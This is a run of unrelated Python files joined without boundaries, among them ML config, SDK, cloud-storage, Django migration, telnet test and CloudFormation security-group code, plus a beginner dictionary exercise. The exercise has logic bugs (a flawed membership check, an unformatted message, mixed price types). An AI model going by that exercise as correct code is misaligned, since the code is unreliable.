sorted(self.__nodes.keys()) for nodeName in sortedNodes: node = self.__nodes[nodeName] cleanNodeName = node.getCleanName() link = "- [%s](%s.md)" % (nodeName, cleanNodeName) if docFormat == HTML: link = '- %s' % (cleanNodeName, nodeName) lines.append(link) # Convert the markdown format if docFormat == HTML: lines = MarkdownToHtml.convert(lines) # Write the data to the manifest file fd = open(manifest, "w") fd.write("%s\n" % "\n".join(lines)) fd.close() def __hasNode(self, nodeName): """Determine if this node is being monitored. * nodeName -- the node """ return (len(self.__nodeNames) == 0 or nodeName in self.__nodes) def __getNode(self, nodeName): """Get the NodeInfo object. * nodeName -- the name of the node """ if nodeName not in self.__nodes: self.__nodes[nodeName] = NodeInfo(nodeName) return self.__nodes[nodeName] nii-yamagishilab/project-CURRENNT-scriptswaveform-modeling/project-WaveNet-pretrained/config.py #!/usr/bin/python ########################################################################### ## Scripts for NSF model ---------------------------------------------- # ## --------------------------------------------------------------------- # ## # ## Copyright (c) 2018 National Institute of Informatics # ## # ## THE NATIONAL INSTITUTE OF INFORMATICS AND THE CONTRIBUTORS TO THIS # ## WORK DISCLAIM ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING # ## ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT # ## SHALL THE NATIONAL INSTITUTE OF INFORMATICS NOR THE CONTRIBUTORS # ## BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY # ## DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, # ## WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS # ## ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE # ## OF THIS SOFTWARE. # ########################################################################### ## Author: # ## Date: 31 Oct. 2018 # ## Contact: wangxin at nii.ac.jp # ########################################################################### import os import sys prjdir = os.getcwd() # ------------------------------------------------- # --------------- Configuration start -------------- # ---- Swith # step1: preparing data step1 = True # fine control on step1 # [generating_data_list, pre_processing_waveforms, generating_time_index, # generating_data_nc, calculate_mean_std_of_acoustic_features] step1s = [True, True, True, True, True] # step2: network training step2 = True # step3: waveform generation step3 = True # ---- Data configuration # (abosolute) path of the directories of acoustic features # [path_of_feature_1, path_of_feature_2, ..., path_of_feature_3] tmp_path = prjdir + '/../DATA' path_acous_feats = [tmp_path + os.path.sep + 'mfbsp'] # dimension of acoustic features dim_acous_feats = [80] # file name extensions of acoustic features ext_acous_feats = ['.mfbsp'] # which ext denotes F0? # if F0 is not included in acoustic features, set f0_ext = None f0_ext = None # waveform sampling rate wav_samp = 16000 # upsampling rate of acoustic features (waveform sampling rate * acoustic feature frame shift) # for example, 80 = 16000 Hz * 5 ms upsampling_rate = 80 # (abosolute) path of the directories of waveform path_waveform = tmp_path + os.path.sep + 'wav32k' # waveform representation # waveform_mu_law_bits = 10: 10 bits mu-law compression (for WaveNet) # waveform_mu_law_bits = -1: float-valued waveform (for NSF) waveform_mu_law_bits = 10 # training/validation set divition # train_utts = N, where N is an integer: uses N randomly selected utterances as training set # train_utts = R, where R is (0, 1): uses R * 100% utterances as training set # train_utts = -1: all utterances as training set, no validation set train_utts = 1000 # ----- Network training configuration # directory of model model_dir = prjdir + '/MODELS/wavenet001/' # name of the network file network_name = 'network.jsn' # common network training config network_trn_config = 'train_config.cfg' # ----- Network generation configuration # directory of model for generation gen_model_dir = model_dir # path of the network file gen_network_path = gen_model_dir + os.path.sep + '/trained_network.jsn' # test data directory (in the same order as path_acous_feats) tmp_test_path = prjdir + '/../TESTDATA-for-pretrained' path_test_acous_feats = [tmp_test_path + os.path.sep + 'mfbsp'] # waveform generation mode # for WaveNet only mem_save_mode = 1 # for NSF, if sentences are short, mem_save_mode can be 0 mem_save_mode = 1 # use CPU to generate waveform? # for WaveNet, using CPU is also OK flag_CPU_gen = 0 # output data directory gen_output_dir = gen_model_dir + '/output' # --------------- Configuration done -------------- # ---- Reserved configs (no need to change) # debug? if True, all commands will be printed out without executing debug = False # path of pyTools path_pyTools = os.getenv('TEMP_CURRENNT_PROJECT_PYTOOLS_PATH') # path of CURRENNT path_currennt = os.getenv('TEMP_CURRENNT_PROJECT_CURRENNT_PATH') # path of SOX path_sox = os.getenv('TEMP_CURRENNT_PROJECT_SOX_PATH') # path of SV56 # if SV56 is unavailable, set sv56 = None, and normalize the waveform using your own tools path_sv56 = os.getenv('TEMP_CURRENNT_PROJECT_SV56_PATH') if path_sv56 is None or path_sox is None or path_currennt is None or path_pyTools is None: raise Exception("Please initialize the tool paths by source ../../init.sh") # path of project scripts path_scripts = prjdir + '/../SCRIPTS' # name of the directory to save intermediate data tmp_data_dir = 'DATATEMP' # name of the directory to save intermediate data for test set tmp_test_data_dir = 'TESTDATATEMP' # name of pre-processed waveform tmp_wav_pre_dir = 'wav16knorm' # name of intermediate waveform files for mu-law tmp_wav_mu_law_dir = 'wav16knorm_mulaw' # name of intermediate waveform files for float tmp_wav_float_dir = 'wav16knorm_float' # name of time index file directory tmp_idx_dir = 'idxData' tmp_nc_dir = 'ncData' tmp_nc_dir_train = 'DATA_TRAIN' tmp_nc_dir_val = 'DATA_VAL' tmp_nc_dir_test = 'DATA_TEST' tmp_name_mean_file = 'meanstd.bin' tmp_config_name = 'CONFIGS' tmp_data_nc_config = path_scripts + os.path.sep + tmp_config_name + os.path.sep + 'data_config.py' tmp_test_data_nc_config = path_scripts + os.path.sep + tmp_config_name + os.path.sep + 'data_config_test.py' tmp_scp_name = 'scp' tmp_scp_train_name = 'train.lst' tmp_scp_val_name = 'val.lst' tmp_mdn_config_name = 'mdn.config' tmp_network_trn_log = 'log_train' tmp_network_trn_err = 'log_err' path_pyTools_scripts = path_pyTools + '/scripts/utilities-new' gen_wav_samp = wav_samp ##### check assert (len(dim_acous_feats)==len(path_acous_feats)), "Error: len(dim_acous_feats)!=len(path_acous_feats)" assert (len(ext_acous_feats)==len(path_acous_feats)), "Error: len(ext_acous_feats)!=len(path_acous_feats)" Food_Prices = {'Chicken' : 1.59, 'Beef' : 1.99, 'Cheese': 1.00, 'Milk' : 2.50} Country_Capitals = {'Finland' : 'Helsinki', 'Hungary' : 'Budapest', 'Greece' : 'Athens', 'France' : 'Paris', 'Germany' : 'Berlin' } Finland_Capital = Country_Capitals['Finland'] Hungary_Capital = Country_Capitals['Hungary'] Greece_Capital = Country_Capitals['Greece'] France_Capital = Country_Capitals['France'] Germany_Capital = Country_Capitals['Germany'] Chicken_Price = Food_Prices['Chicken'] print(Chicken_Price) Beef_Price = Food_Prices['Beef'] print(Beef_Price) Cheese_Price = Food_Prices['Cheese'] print(Cheese_Price) Milk_Price = Food_Prices['Milk'] print(Milk_Price) print() print(Finland_Capital) print(Hungary_Capital) print(Greece_Capital) print(France_Capital) print(Germany_Capital) print() Country_Capitals['Netherlands'] = 'Amsterdam' print(Country_Capitals) print() Shoe_Count = {"Jordan 13" : 1 , "Yeezy" : 8 , "Foamposite" : 10 , "Air Max" : 5 , "SB Dunk" : 20} print(Shoe_Count) print() Shoe_Count['SB Dunk'] -= 2 print("SB Dunks count after purchase :", Shoe_Count['SB Dunk']) Shoe_Count['Yeezy'] += 1 print("Yeezys count after return :", Shoe_Count['Yeezy']) Shoe_Count['Jordan 13'] += 7 Shoe_Count['Yeezy'] += 7 Shoe_Count['Foamposite'] += 7 Shoe_Count['Air Max'] += 7 Shoe_Count['SB Dunk'] += 7 print("Count after new shipmentt :", Shoe_Count) # Shoe_Count = Shoe_Count.setdefault("Jordan 13", "Yeezy", "Foamposite", "Air Max", "SB Dunk", -=3 ) Shoe_Count['Jordan 13'] -= 3 Shoe_Count['Yeezy'] -= 3 Shoe_Count['Foamposite'] -= 3 Shoe_Count['Air Max'] -= 3 Shoe_Count['SB Dunk'] -= 3 print("Count after special sale :", Shoe_Count) Food_Prices['Food_item2read'] = '$2.25' Food_Prices['Apples'] = '$1.74' Food_Prices['Food_item2ananas'] = '$0.85' del Food_Prices['Apples'] del Food_Prices['Food_item2ananas'] print(Food_Prices) print("\nFunctions, Looping and Operators") print() def total_price (Food_item1, Food_item2) : if (Food_item1 or Food_item2) not in Food_Prices : print("Either {} or {} are not in the dictionary".format(Food_item1, Food_item2)) else : total = Food_Prices[Food_item1] + Food_Prices[Food_item2] statement = "The total price of {} and {} is ${}".format(Food_item1, Food_item2, total) return statement print(total_price("Beef", "Cheese")) print() def price_difference (Food_item1, Food_item2) : if (Food_item1 or Food_item2) not in Food_Prices : print("Either {} or {} are not in the dictionary".format(Food_item1, Food_item2)) else : difference = Food_Prices[Food_item1] - Food_Prices[Food_item2] statement = "The difference between {} and {} is ${}".format(Food_item1, Food_item2, abs(difference)) return statement print(price_difference("Beef", "Cheese")) print() def restock (Shoe_name, multiple) : if Shoe_name not in Shoe_Count : print("{} is not in dictionary".format(Shoe_name)) else : Shoe_Count[Shoe_name] *= multiple return Shoe_Count print(restock("Yeezy", 3)) print() def clearance_sale (Shoe_name, factor) : if Shoe_name not in Shoe_Count : print("{} is not in dictionary".format(Shoe_name)) else : Shoe_Count[Shoe_name] //= factor return Shoe_Count print(clearance_sale("SB Dunk", 2)) print() def capital (country) : country = country.capitalize() if country not in Country_Capitals : print("{} is not a valid country name") else : return Country_Capitals[country] print(capital("Finland")) aliyun-python-sdk-smartag/aliyunsdksmartag/request/v20180313/ModifyQosPolicyRequest.py # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # # http://www.apache.org/licenses/LICENSE-2.0 # # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. from aliyunsdkcore.request import RpcRequest from aliyunsdksmartag.endpoint import endpoint_data class ModifyQosPolicyRequest(RpcRequest): def __init__(self): RpcRequest.__init__(self, 'Smartag', '2018-03-13', 'ModifyQosPolicy','smartag') self.set_method('POST') if hasattr(self, "endpoint_map"): setattr(self, "endpoint_map", endpoint_data.getEndpointMap()) if hasattr(self, "endpoint_regional"): setattr(self, "endpoint_regional", endpoint_data.getEndpointRegional()) def get_DpiGroupIdss(self): # RepeatList return self.get_query_params().get('DpiGroupIds') def set_DpiGroupIdss(self, DpiGroupIds): # RepeatList pass def get_ResourceOwnerId(self): # Long return self.get_query_params().get('ResourceOwnerId') def set_ResourceOwnerId(self, ResourceOwnerId): # Long self.add_query_param('ResourceOwnerId', ResourceOwnerId) def get_SourcePortRange(self): # String return self.get_query_params().get('SourcePortRange') def set_SourcePortRange(self, SourcePortRange): # String self.add_query_param('SourcePortRange', SourcePortRange) def get_QosPolicyId(self): # String return self.get_query_params().get('QosPolicyId') def set_QosPolicyId(self, QosPolicyId): # String self.add_query_param('QosPolicyId', QosPolicyId) def get_SourceCidr(self): # String return self.get_query_params().get('SourceCidr') def set_SourceCidr(self, SourceCidr): # String self.add_query_param('SourceCidr', SourceCidr) def get_Description(self): # String return self.get_query_params().get('Description') def set_Description(self, Description): # String self.add_query_param('Description', Description) def get_StartTime(self): # String return self.get_query_params().get('StartTime') def set_StartTime(self, StartTime): # String self.add_query_param('StartTime', StartTime) def get_DestCidr(self): # String return self.get_query_params().get('DestCidr') def set_DestCidr(self, DestCidr): # String self.add_query_param('DestCidr', DestCidr) def get_DpiSignatureIdss(self): # RepeatList return self.get_query_params().get('DpiSignatureIds') def set_DpiSignatureIdss(self, DpiSignatureIds): # RepeatList pass def get_QosId(self): # String return self.get_query_params().get('QosId') def set_QosId(self, QosId): # String self.add_query_param('QosId', QosId) def get_ResourceOwnerAccount(self): # String return self.get_query_params().get('ResourceOwnerAccount') def set_ResourceOwnerAccount(self, ResourceOwnerAccount): # String self.add_query_param('ResourceOwnerAccount', ResourceOwnerAccount) def get_IpProtocol(self): # String return self.get_query_params().get('IpProtocol') def set_IpProtocol(self, IpProtocol): # String self.add_query_param('IpProtocol', IpProtocol) def get_OwnerAccount(self): # String return self.get_query_params().get('OwnerAccount') def set_OwnerAccount(self, OwnerAccount): # String self.add_query_param('OwnerAccount', OwnerAccount) def get_EndTime(self): # String return self.get_query_params().get('EndTime') def set_EndTime(self, EndTime): # String self.add_query_param('EndTime', EndTime) def get_OwnerId(self): # Long return self.get_query_params().get('OwnerId') def set_OwnerId(self, OwnerId): # Long self.add_query_param('OwnerId', OwnerId) def get_Priority(self): # Integer return self.get_query_params().get('Priority') def set_Priority(self, Priority): # Integer self.add_query_param('Priority', Priority) def get_DestPortRange(self): # String return self.get_query_params().get('DestPortRange') def set_DestPortRange(self, DestPortRange): # String self.add_query_param('DestPortRange', DestPortRange) def get_Name(self): # String return self.get_query_params().get('Name') def set_Name(self, Name): # String self.add_query_param('Name', Name) import os from gcs import upload_blob, download_blob, check_blob from utilities import create_required_dirs_for_archive_if_not_present class GCSHelper: def __init__(self, bucket_name, bucket_path): self.bucket_name = bucket_name self.bucket_path = bucket_path def upload_archive_to_bucket(self, source): archive_path = "archive/" + source + "/archive.txt" upload_blob( self.bucket_name, archive_path, self.bucket_path + "/" + archive_path, ) def upload_token_to_bucket(self): token_file_name = 'token.txt' upload_blob(self.bucket_name, '%s' % token_file_name, self.bucket_path + '/' + token_file_name) def download_token_from_bucket(self): token_file_name = "token.txt" token_path = self.bucket_path + "/" + token_file_name if check_blob(self.bucket_name, token_path): download_blob(self.bucket_name, token_path, token_file_name) print( str( "Token file has been downloaded from bucket {0} to local path...".format( self.bucket_name ) ) ) else: if not os.path.exists(token_file_name): os.system("touch {0}".format(token_file_name)) print("No token file has been found on bucket...") def validate_and_download_archive(self, source): archive_file_path = self.bucket_path + "/archive/" + source + "/archive.txt" local_archive_source = "archive/{0}".format(source) local_archive_file_path = "{0}/archive.txt".format(local_archive_source) create_required_dirs_for_archive_if_not_present(source) if check_blob(self.bucket_name, archive_file_path): return self.download_archive_from_bucket(archive_file_path, local_archive_file_path) else: return self.get_local_archive_data(local_archive_file_path) def get_local_archive_data(self, local_archive_file_path): if not os.path.exists(local_archive_file_path): os.system("touch {0}".format(local_archive_file_path)) print( "No Archive file has been found on bucket...Downloading all files..." ) return [] else: print( "Local Archive file has been found on bucket...Downloading all files..." ) with open(local_archive_file_path, "r") as f: return f.read().splitlines() def download_archive_from_bucket(self, archive_file_path, local_archive_file_path): download_blob(self.bucket_name, archive_file_path, local_archive_file_path) print( str( "Archive file has been downloaded from bucket {0} to local path...".format( self.bucket_name ) ) ) with open(local_archive_file_path, "r") as f: archive_data_list = f.read().splitlines() num_downloaded = len(archive_data_list) print( "Count of Previously downloaded files are : {0}".format(num_downloaded) ) return archive_data_list # file-dir is the directory where files get downloads def upload_file_to_bucket(self, source, source_file_name, destination_file_name, file_dir): try: base_path = self.bucket_path + "/" + source + "/" upload_blob( self.bucket_name, file_dir + "/" + source_file_name, base_path + destination_file_name ) except Exception as exc: print("%r generated an exception: %s" % (source, exc)) # -*- coding: utf-8 -*- from __future__ import unicode_literals #from django.db import models, migrations # pyflakes:ignore from django.db import migrations from django.conf import settings from ietf.utils.mail import send_mail_text # Tiny detail: making the text below look nice is of course dependent on # how long the email addresses and draft name which are inserted into the # text actually turn out to be. Rather than bothering to re-flow the text, # it can be noted that the average email address length, calculated over the # addresses this will be run for, was 21, and the length of the string # '%(inacive_email)s' is 18, so just formatting naturally should come out # pretty nicely in most cases. email_template = """ Hi, As part of a review of active and inactive email addresses in the datatracker, it has been found that your address <%(inactive_email)s>, which is mentioned in the active draft %(draft_name)s, was set to inactive. As a consequence of this, it would not be receiving notifications related to that draft, from the datatracker or through the draft aliases. The notifications and aliases would instead have used <%(primary_email)s>. This most likely was not what you intended when you used <%(inactive_email)s> in the draft, so that address has now been set to active. The datatracker and draft aliases will now use it. If you have a datatracker account, and had manually set the status for <%(inactive_email)s> to inactive, we apologize for interfering. Please set it to inactive again, by using https://datatracker.ietf.org/accounts/profile/. We don't anticipate changing it automatically again. If you don't have a datatracker account, then all should be good -- we've simply set things to be the way they were expected to be. Best regards, Henrik, via the inactive email migration script """ def activate_draft_email(apps, schema_editor): Document = apps.get_model("doc", "Document") change_count = 0 notify_user_count = 0 for doc in Document.objects.filter(type__slug='draft', states__slug='active').order_by('-time'): for email in doc.authors.all(): if email.active == False: person = email.person primary = person.email_set.filter(active=True).order_by('-time').first() email.active = True email.save() change_count += 1 # If there isn't a primary address, ther's no active # addresses, and it can't be other than right to change the # draft email address to active. Otherwise, notify the owner. if primary: notify_user_count +=1 primary_email = primary.address inactive_email = email.address if settings.SERVER_MODE == 'production': context = dict( primary_email=primary_email, inactive_email=inactive_email, draft_name=doc.name, ) send_mail_text( request=None, to=[ primary_email, inactive_email ], frm=" <>", subject="Changed email settings for you in the datatracker", txt= email_template % context, extra={"Reply-To": "Secretariat <>"}, ) print("") print("Set %s email addresses to active" % change_count) print("Notified %s users, who had at least one other active email." % notify_user_count) def deactivate_draft_email(apps, scema_editor): """ The backwards migration doesn't touch the active field of any email addresses. We don't have the information to exactly undo what the forward migration did, and on 08 Mar 2015, there were 1178 inactive email addresses coupled to active drafts, and 4237 active addresses coupled to active drafts. The harm would be substantial if those active addresses were set to inactive. """ # Document = apps.get_model("doc", "Document") # print(" Not setting email addresses to inactive") # count = 0 # for doc in Document.objects.filter(type__slug='draft', states__slug='active'): # for email in doc.authors.all(): # if email.active == True: # #print email.address # count += 1 # print("Left %s active email addresses untouched " % count) class Migration(migrations.Migration): dependencies = [ ('person', '0003_auto_20150304_0829'), ('doc', '0002_auto_20141222_1749'), ] operations = [ migrations.RunPython( activate_draft_email, deactivate_draft_email), ] tests/system/test_connection_c4500x.py from tests.system.common import CondoorTestCase, StopTelnetSrv, StartTelnetSrv from tests.dmock.dmock import C4500XHandler from tests.utils import remove_cache_file import condoor class TestC4500XConnection(CondoorTestCase): @StartTelnetSrv(C4500XHandler, 10024) def setUp(self): CondoorTestCase.setUp(self) @StopTelnetSrv() def tearDown(self): pass def test_C4500X_1_discovery(self): remove_cache_file() urls = ["telnet://admin:admin@127.0.0.1:10024"] conn = condoor.Connection("host", urls, log_session=self.log_session, log_level=self.log_level) self.conn = conn conn.connect(self.logfile_condoor) self.assertEqual(conn.is_discovered, True, "Not discovered properly") self.assertEqual(conn.hostname, "Switch", "Wrong Hostname: {}".format(conn.hostname)) self.assertEqual(conn.family, "C4500-X", "Wrong Family: {}".format(conn.family)) self.assertEqual(conn.platform, "WS-C4500X-32", "Wrong Platform: {}".format(conn.platform)) self.assertEqual(conn.os_type, "XE", "Wrong OS Type: {}".format(conn.os_type)) self.assertEqual(conn.os_version, "03.08.03.E", "Wrong Version: {}".format(conn.os_version)) self.assertEqual(conn.udi['name'], "Switch System", "Wrong Name: {}".format(conn.udi['name'])) self.assertEqual(conn.udi['description'], "Cisco Systems, Inc. WS-C4500X-32 2 slot switch", "Wrong Description: {}".format(conn.udi['description'])) self.assertEqual(conn.udi['pid'], "", "Wrong PID: {}".format(conn.udi['pid'])) self.assertEqual(conn.udi['vid'], "", "Wrong VID: {}".format(conn.udi['vid'])) self.assertEqual(conn.udi['sn'], "JAE154100BA", "Wrong S/N: {}".format(conn.udi['sn'])) self.assertEqual(conn.prompt, "Switch#", "Wrong Prompt: {}".format(conn.prompt)) self.assertEqual(conn.is_console, False, "Console connection not detected") with self.assertRaises(condoor.CommandSyntaxError): conn.send("wrongcommand") conn.disconnect() def test_C4500X_1_rediscovery(self): urls = ["telnet://admin:admin@127.0.0.1:10024"] conn = condoor.Connection("host", urls, log_session=self.log_session, log_level=self.log_level) self.conn = conn conn.connect(self.logfile_condoor) self.assertEqual(conn.is_discovered, True, "Not discovered properly") self.assertEqual(conn.hostname, "Switch", "Wrong Hostname: {}".format(conn.hostname)) self.assertEqual(conn.family, "C4500-X", "Wrong Family: {}".format(conn.family)) self.assertEqual(conn.platform, "WS-C4500X-32", "Wrong Platform: {}".format(conn.platform)) self.assertEqual(conn.os_type, "XE", "Wrong OS Type: {}".format(conn.os_type)) self.assertEqual(conn.os_version, "03.08.03.E", "Wrong Version: {}".format(conn.os_version)) self.assertEqual(conn.udi['name'], "Switch System", "Wrong Name: {}".format(conn.udi['name'])) self.assertEqual(conn.udi['description'], "Cisco Systems, Inc. WS-C4500X-32 2 slot switch", "Wrong Description: {}".format(conn.udi['description'])) self.assertEqual(conn.udi['pid'], "", "Wrong PID: {}".format(conn.udi['pid'])) self.assertEqual(conn.udi['vid'], "", "Wrong VID: {}".format(conn.udi['vid'])) self.assertEqual(conn.udi['sn'], "JAE154100BA", "Wrong S/N: {}".format(conn.udi['sn'])) self.assertEqual(conn.prompt, "Switch#", "Wrong Prompt: {}".format(conn.prompt)) self.assertEqual(conn.is_console, False, "Console connection not detected") with self.assertRaises(condoor.CommandSyntaxError): conn.send("wrongcommand") conn.disconnect() if __name__ == '__main__': from unittest import main main() #!/usr/bin/env python import ipaddress import logging from typing import Dict, Union, List, Tuple from ..cloudformation.elements import CloudFormationResource from ..core.base import ResourceProcessor __author__ = "" __copyright__ = "Copyright 2017, " __credits__ = [""] __license__ = "BSD" __maintainer__ = "" __email__ = "" __status__ = "PerpetualBeta" def cleanup_resource_name(value): blacklisted_characters = '${}-' return ''.join([ch for ch in value if ch not in blacklisted_characters]) class Rule(object): def __init__(self, proto, cidr_or_sg, from_port, to_port, raw_rule=''): self.proto = proto self.cidr_or_sg = cidr_or_sg self.from_port = from_port self.to_port = to_port self.raw_rule = raw_rule self._direction = None def is_cidr(self): try: ipaddress.ip_network(self.cidr_or_sg) except ValueError: return False return True def render_destination_group_id(self): """ Rule cidr_or_sg support various formats :return: """ if self.is_cidr(): raise ValueError('Not a destination group id') # renders Resource.GroupId likes if '.' in self.cidr_or_sg: fn_getatt_name, _, fn_getatt_attribute = self.cidr_or_sg.partition('.') return {'Fn::GetAtt': [fn_getatt_name, fn_getatt_attribute]} # renders Import/something of Import/${prefix}-something if self.cidr_or_sg.lower().startswith('import/'): fn_import_value = self.cidr_or_sg.partition('/')[-1] return {'Fn::ImportValue': {'Fn::Sub': fn_import_value}} return self.cidr_or_sg @staticmethod def calculate_ports(port_or_port_range: str) -> Tuple[str, str]: def is_valid_port(data): if data == '-1': return True if data.isnumeric() and 1 <= int(data) <= 65535: return True return False if '-' in port_or_port_range: # then it's considered a port range from_port, to_port = port_or_port_range.split('-') elif port_or_port_range.upper() == 'ALL': # then it's considered all ports from_port = to_port = '-1' else: # otherwise we use that as a port from_port = to_port = port_or_port_range if not is_valid_port(from_port) or not is_valid_port(to_port): raise ValueError(f'Invalid port range: {port_or_port_range}') return from_port, to_port @staticmethod def calculate_cidr_or_sg(cidr_or_sg: str, template_parameters: dict) -> str: """ implements the cidr_or_sg resolution when is not a cidr but it's in the form Parameters/ then we lookup the parameters and we use that value :param cidr_or_sg: :param template_parameters: :return: """ result = cidr_or_sg if cidr_or_sg.lower().startswith('parameters/'): _, _, key = cidr_or_sg.partition('/') result = template_parameters.get(key, None) if not result: raise RuntimeError('Unable to resolve cidr_or_sg: {}'.format(cidr_or_sg)) return result @property def label(self): """ Return a label calculated for the Rule :return: """ if self.is_cidr(): return 'Cidr' if not self.raw_rule: return 'Undefined' _, resource, _ = self.raw_rule.split(':') if resource.lower().startswith('parameters/'): # example: Parameters/SgTest label = resource.partition('/')[-1] elif resource.lower().startswith('import/'): import_value = resource.partition('/')[-1] label = cleanup_resource_name(import_value) else: # example: CustomResourceLambda.GroupId label = resource.partition('.')[0] return label def __eq__(self, other): return (self.proto == other.proto and self.cidr_or_sg == other.cidr_or_sg and self.from_port == other.from_port and self.to_port == other.to_port) def __ne__(self, other): return not self.__eq__(other) class SgProcessor(ResourceProcessor): """ Security Group Macro Processor """ tag = 'Custom::SgProcessorV1' def __init__(self): """ This core support cloudformation elements like the following:: "SgTestEgressRules": { "Type": "Custom::SgProcessorV1", "Properties": { "ServiceToken": "", "Direction": "Egress", "Rules": { "Ref": "WhitelistTest" }, "FromTo": "TestLabel", "TargetGroup": {"Ref": "SgTest"} } } """ self.logger = logging.getLogger(self.__class__.__name__) self._template_params = None @staticmethod def target_group_to_name(target_group_id, target_group_label=None): """ calculate the name from a target group node """ if target_group_label: return target_group_label if isinstance(target_group_id, dict) and target_group_id.get('Ref', None): name = target_group_id['Ref'] elif isinstance(target_group_id, dict) and target_group_id.get('Fn::GetAtt', None): name = target_group_id['Fn::GetAtt'][0] if target_group_id['Fn::GetAtt'][1] == 'GroupId' else None elif isinstance(target_group_id, dict) and target_group_id.get('Fn::GetAtt', None): name = target_group_id['Fn::GetAtt'][0] if target_group_id['Fn::GetAtt'][1] == 'security_group_id' else None elif isinstance(target_group_id, dict) and target_group_id.get('Fn::ImportValue', None): raise ValueError(f'TargetGroupLabel is required for the TargetGroup: {target_group_id}, but ' f'TargetGroupLabel is currently: ${target_group_label}') elif isinstance(target_group_id, str): name = target_group_id else: name = None if not name: raise ValueError(f'Unable to calculate Sg key name. target_group_id: {target_group_id}, ' f'target_group_label: {target_group_label}') return name def _calculate_descriptive_labels(self, direction: str, label_from_to: str, rule: Rule) -> Tuple[str, str]: result_label = label_from_to if not result_label: result_label = rule.label if direction.lower() == 'ingress': description = f'From {result_label}' key_label = f'From{result_label}' else: description = f'To {result_label}' key_label = f'To{result_label}' return description, key_label def _calculate_port_label(self, from_port: str, to_port: str): if from_port == to_port == '-1': return 'ALL' return f'{from_port}To{to_port}' def sg_builder(self, direction: str, target_group: Union[str, dict], rule: Rule, rule_number: int, label_from_to: str, label_target_group: str = None) -> CloudFormationResource: """ Builds a security group cloudformation object :param direction: :param target_group: :param label_from_to: :param rule: :param rule_number: :param label_target_group: :return: """ # calculate the resource name resource_name = SgProcessor.target_group_to_name(target_group, label_target_group) # calculate the labels description, key_label = self._calculate_descriptive_labels(direction, label_from_to, rule) # calculate the port labels port_label = self._calculate_port_label(rule.from_port, rule.to_port) sg_key = (f"{resource_name}{key_label}" f"Proto{rule.proto.upper()}Port{port_label}" f"Entry{rule_number}") sg_value = { 'Type': f'AWS::EC2::SecurityGroup{direction.title()}', 'Properties': { 'GroupId': target_group, 'Description': description, 'FromPort': rule.from_port, 'ToPort': rule.to_port, 'IpProtocol': rule.proto.lower() } } # add CidrIp or DestinationSecurityGroupId depending if it's a valid cidr or a security group if rule.is_cidr(): sg_value['Properties']['CidrIp'] = rule.cidr_or_sg else: if direction.lower() == 'ingress': sg_value['Properties']['SourceSecurityGroupId'] = rule.render_destination_group_id() else: sg_value['Properties']['DestinationSecurityGroupId'] = rule.render_destination_group_id() return CloudFormationResource(sg_key, sg_value) def _resolve_rules(self, rules_node: Union[dict, str]) -> list: """ Takes the rule node and verify if it's a reference to parameters and if it's a plain string or a list of strings :param rules_node: :return: """ # verify whether the node is a string or a ref to a parameter if isinstance(rules_node, dict) and rules_node.get('Ref', None): # it's a ref then we lookup the info from the parameters data = self._template_params.get(rules_node['Ref'], None) elif isinstance(rules_node, str): data = rules_node elif isinstance(rules_node, list): data = rules_node else: raise ValueError(f'Not a valid value for Rules: {rules_node}') # if the data is a plan string we split it as comma separated if isinstance(data, str): rules = [elem.strip() for elem in data.split(',')] elif isinstance(data, list): rules = data else: raise ValueError(f'Unsupported data in rules. Data: {data}') return rules def _parse_rules(self, node: dict) -> List[Rule]: """ parse a rule line. Rule is a string that represent the security group information. The format of the string is the following: :: examples: 1. multiple rules comma separated as string:: 'tcp:10.0.0.1/32:80, tcp:10.0.0.1/32:21-22' 2. multiple rules as list of strings:: [ 'tcp:10.0.0.1/32:80', 'tcp:10.0.0.1/32:21-22' ] 3. multiple rules with cidrs and security groups:: 'tcp:10.0.0.1/32:80, tcp:DestinationSg.GroupId:21-22' 4. multiple rules not in-line but with a ref to a parameter:: { "Ref": "SomeParameter" } (in this case we are going to resolve the data from the parameter) :param node: :return: """ # check if the rules are a reference to parameter and resolve them rules = self._resolve_rules(rules_node=node['Properties']['Rules']) rule_set = [] # for each rule entry we parse it as per format for rule in rules: try: proto, cidr_or_sg, port_or_port_range = rule.strip().split(':') from_port, to_port = Rule.calculate_ports(port_or_port_range) rule_set.append(Rule(proto=proto.lower(), cidr_or_sg=Rule.calculate_cidr_or_sg(cidr_or_sg, self._template_params), from_port=from_port, to_port=to_port, raw_rule=rule)) except Exception as e: self.logger.error(f'Error while parsing rule: {rule}. Type: {str(type(e))}. Error: {str(e)}') raise return rule_set def process(self, resource: CloudFormationResource, params: dict) -> Dict[str, dict]: self._template_params = params rule_set = self._parse_rules(resource.node) # if there are not rules we return back the node unparsed if not rule_set: return {resource.name: resource.node} # save the depends on to add it to the inner resources dependencies = resource.node.get('DependsOn', None) result = {} for rule_id, rule in enumerate(rule_set): sg = self.sg_builder(direction=resource.properties['Direction'], target_group=resource.properties['TargetGroup'], label_from_to=resource.properties['FromTo'], label_target_group=resource.properties.get('TargetGroupLabel', None), rule=rule, rule_number=rule_id) sg.add_dependencies(dependencies) result[sg.name] = sg.node return result mliljedahl/telldus-core-mqtt #!/usr/bin/env python3 # -*- coding: utf-8 -*- import asyncio import logging.config import random import threading import time import yaml from paho.mqtt import client as mqtt_client import src.telldus as telldus from src.telldus import const, td THREADING_RLOCK = threading.RLock() TYPES = {const.TELLSTICK_TEMPERATURE: 'temperature', const.TELLSTICK_HUMIDITY: 'humidity', const.TELLSTICK_RAINRATE: 'rainrate', const.TELLSTICK_RAINTOTAL: 'raintotal', const.TELLSTICK_WINDDIRECTION: 'winddirection', const.TELLSTICK_WINDAVERAGE: 'windaverage', const.TELLSTICK_WINDGUST: 'windgust'} METHODS = {const.TELLSTICK_TURNON: 'turn on', 